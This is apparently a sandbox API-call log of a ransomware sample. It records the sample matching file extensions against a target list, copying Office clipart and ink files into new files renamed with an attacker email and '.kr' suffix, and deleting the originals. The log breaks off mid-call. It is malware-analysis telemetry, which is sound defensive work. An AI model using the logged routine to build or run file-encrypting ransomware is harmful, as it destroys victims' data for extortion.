0xffffffff [0176.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.238] lstrlenW (lpString=".doc") returned 4 [0176.238] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0176.238] lstrlenW (lpString=".docx") returned 5 [0176.238] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0176.238] lstrlenW (lpString=".pdf") returned 4 [0176.238] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0176.238] lstrlenW (lpString=".xls") returned 4 [0176.238] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0176.238] lstrlenW (lpString=".xlsx") returned 5 [0176.238] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0176.238] lstrlenW (lpString=".ppt") returned 4 [0176.239] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0176.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.239] lstrlenW (lpString=".zip") returned 4 [0176.239] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0176.239] lstrlenW (lpString=".rar") returned 4 [0176.239] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0176.239] lstrlenW (lpString=".bz2") returned 4 [0176.239] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0176.239] lstrlenW (lpString=".7z") returned 3 [0176.239] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0176.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.239] lstrlenW (lpString=".dbf") returned 4 [0176.239] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0176.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.239] lstrlenW (lpString=".1cd") returned 4 [0176.239] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0176.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.239] lstrlenW (lpString=".jpg") returned 4 [0176.239] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0176.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.239] lstrlenW (lpString=".doc") returned 4 [0176.239] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0176.239] lstrlenW (lpString=".docx") returned 5 [0176.239] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0176.239] lstrlenW (lpString=".pdf") returned 4 [0176.239] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0176.239] lstrlenW (lpString=".xls") returned 4 [0176.239] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0176.239] lstrlenW (lpString=".xlsx") returned 5 [0176.239] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0176.239] lstrlenW (lpString=".ppt") returned 4 [0176.239] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0176.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.240] lstrlenW (lpString=".zip") returned 4 [0176.240] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0176.240] lstrlenW (lpString=".rar") returned 4 [0176.240] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0176.240] lstrlenW (lpString=".bz2") returned 4 [0176.240] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0176.240] lstrlenW (lpString=".7z") returned 3 [0176.240] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0176.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.240] lstrlenW (lpString=".dbf") returned 4 [0176.240] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0176.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.240] lstrlenW (lpString=".1cd") returned 4 [0176.240] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0176.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0176.240] lstrlenW (lpString=".jpg") returned 4 [0176.240] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0176.240] lstrcmpiW (lpString1=".dat", lpString2=".kr") returned -1 [0176.240] lstrlenW (lpString="hwrusalm.dat") returned 12 [0176.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.241] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2515696) returned 1 [0176.241] CloseHandle (hObject=0x390) returned 1 [0176.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0176.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.241] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.242] lstrlenW (lpString=".doc") returned 4 [0176.242] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0176.242] lstrlenW (lpString=".docx") returned 5 [0176.242] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0176.242] lstrlenW (lpString=".pdf") returned 4 [0176.242] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0176.242] lstrlenW (lpString=".xls") returned 4 [0176.242] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0176.242] lstrlenW (lpString=".xlsx") returned 5 [0176.242] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0176.242] lstrlenW (lpString=".ppt") returned 4 [0176.242] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0176.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.242] lstrlenW (lpString=".zip") returned 4 [0176.242] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0176.242] lstrlenW (lpString=".rar") returned 4 [0176.242] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0176.242] lstrlenW (lpString=".bz2") returned 4 [0176.242] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0176.242] lstrlenW (lpString=".7z") returned 3 [0176.242] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0176.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.242] lstrlenW (lpString=".dbf") returned 4 [0176.242] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0176.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.242] lstrlenW (lpString=".1cd") returned 4 [0176.242] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0176.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.242] lstrlenW (lpString=".jpg") returned 4 [0176.242] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0176.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.243] lstrlenW (lpString=".doc") returned 4 [0176.243] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0176.243] lstrlenW (lpString=".docx") returned 5 [0176.243] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0176.243] lstrlenW (lpString=".pdf") returned 4 [0176.243] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0176.243] lstrlenW (lpString=".xls") returned 4 [0176.243] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0176.243] lstrlenW (lpString=".xlsx") returned 5 [0176.243] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0176.243] lstrlenW (lpString=".ppt") returned 4 [0176.243] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0176.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.243] lstrlenW (lpString=".zip") returned 4 [0176.243] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0176.243] lstrlenW (lpString=".rar") returned 4 [0176.243] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0176.243] lstrlenW (lpString=".bz2") returned 4 [0176.243] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0176.243] lstrlenW (lpString=".7z") returned 3 [0176.243] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0176.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.243] lstrlenW (lpString=".dbf") returned 4 [0176.243] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0176.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.243] lstrlenW (lpString=".1cd") returned 4 [0176.243] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0176.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0176.243] lstrlenW (lpString=".jpg") returned 4 [0176.243] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0176.244] lstrcmpiW (lpString1=".dat", lpString2=".kr") returned -1 [0176.244] lstrlenW (lpString="hwrusash.dat") returned 12 [0176.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0176.244] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3380096) returned 1 [0176.244] CloseHandle (hObject=0x390) returned 1 [0176.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0176.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0176.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[blablacar@airmail.cc].kr")) returned 0 [0176.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0176.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0176.244] lstrlenW (lpString=".doc") returned 4 [0176.244] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0176.244] lstrlenW (lpString=".docx") returned 5 [0176.245] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0176.245] lstrlenW (lpString=".pdf") returned 4 [0176.245] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0176.245] lstrlenW (lpString=".xls") returned 4 [0176.245] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0176.245] lstrlenW (lpString=".xlsx") returned 5 [0176.245] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0176.245] lstrlenW (lpString=".ppt") returned 4 [0176.245] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0176.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0176.245] lstrlenW (lpString=".zip") returned 4 [0176.245] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0176.245] lstrlenW (lpString=".rar") returned 4 [0176.245] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0176.245] lstrlenW (lpString=".bz2") returned 4 [0176.245] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0176.245] lstrlenW (lpString=".7z") returned 3 [0176.245] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0176.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0176.245] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.251] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.255] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.255] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.256] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.257] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.257] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.257] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.258] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.259] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.259] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.260] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0176.260] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0177.636] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=11636) returned 1 [0177.636] CloseHandle (hObject=0x3f4) returned 1 [0177.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x220 [0177.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00155_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00155_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0x20 [0177.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0177.638] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=24320) returned 1 [0177.638] CloseHandle (hObject=0x3f4) returned 1 [0177.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0177.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0177.639] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.639] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0177.640] GetLastError () returned 0x0 [0177.640] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x5f00, lpOverlapped=0x0) returned 1 [0177.656] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x5f10, lpOverlapped=0x0) returned 1 [0177.658] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0177.658] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0177.658] SetEndOfFile (hFile=0x3f8) returned 1 [0177.658] CloseHandle (hObject=0x3f8) returned 1 [0177.659] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.659] SetEndOfFile (hFile=0x3f4) returned 1 [0177.662] CloseHandle (hObject=0x3f4) returned 1 [0177.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0177.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0177.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.664] lstrlenW (lpString=".doc") returned 4 [0177.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.664] lstrlenW (lpString=".docx") returned 5 [0177.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.664] lstrlenW (lpString=".pdf") returned 4 [0177.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.664] lstrlenW (lpString=".xls") returned 4 [0177.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.664] lstrlenW (lpString=".xlsx") returned 5 [0177.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.664] lstrlenW (lpString=".ppt") returned 4 [0177.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.664] lstrlenW (lpString=".zip") returned 4 [0177.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.664] lstrlenW (lpString=".rar") returned 4 [0177.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.664] lstrlenW (lpString=".bz2") returned 4 [0177.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.664] lstrlenW (lpString=".7z") returned 3 [0177.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.664] lstrlenW (lpString=".dbf") returned 4 [0177.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.664] lstrlenW (lpString=".1cd") returned 4 [0177.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.664] lstrlenW (lpString=".jpg") returned 4 [0177.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.665] lstrlenW (lpString=".doc") returned 4 [0177.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.665] lstrlenW (lpString=".docx") returned 5 [0177.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0177.665] lstrlenW (lpString=".pdf") returned 4 [0177.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.665] lstrlenW (lpString=".xls") returned 4 [0177.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.665] lstrlenW (lpString=".xlsx") returned 5 [0177.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0177.665] lstrlenW (lpString=".ppt") returned 4 [0177.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.665] lstrlenW (lpString=".zip") returned 4 [0177.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.665] lstrlenW (lpString=".rar") returned 4 [0177.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.665] lstrlenW (lpString=".bz2") returned 4 [0177.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.665] lstrlenW (lpString=".7z") returned 3 [0177.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.665] lstrlenW (lpString=".dbf") returned 4 [0177.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.665] lstrlenW (lpString=".1cd") returned 4 [0177.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 68 [0177.665] lstrlenW (lpString=".jpg") returned 4 [0177.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.666] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0177.666] lstrlenW (lpString="BD08773_.WMF") returned 12 [0177.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0177.666] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=24778) returned 1 [0177.666] CloseHandle (hObject=0x3f4) returned 1 [0177.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0177.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0177.667] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.667] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0177.667] GetLastError () returned 0x0 [0177.667] ReadFile (in: hFile=0x3f4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x60ca, lpOverlapped=0x0) returned 1 [0178.237] WriteFile (in: hFile=0x3f8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, 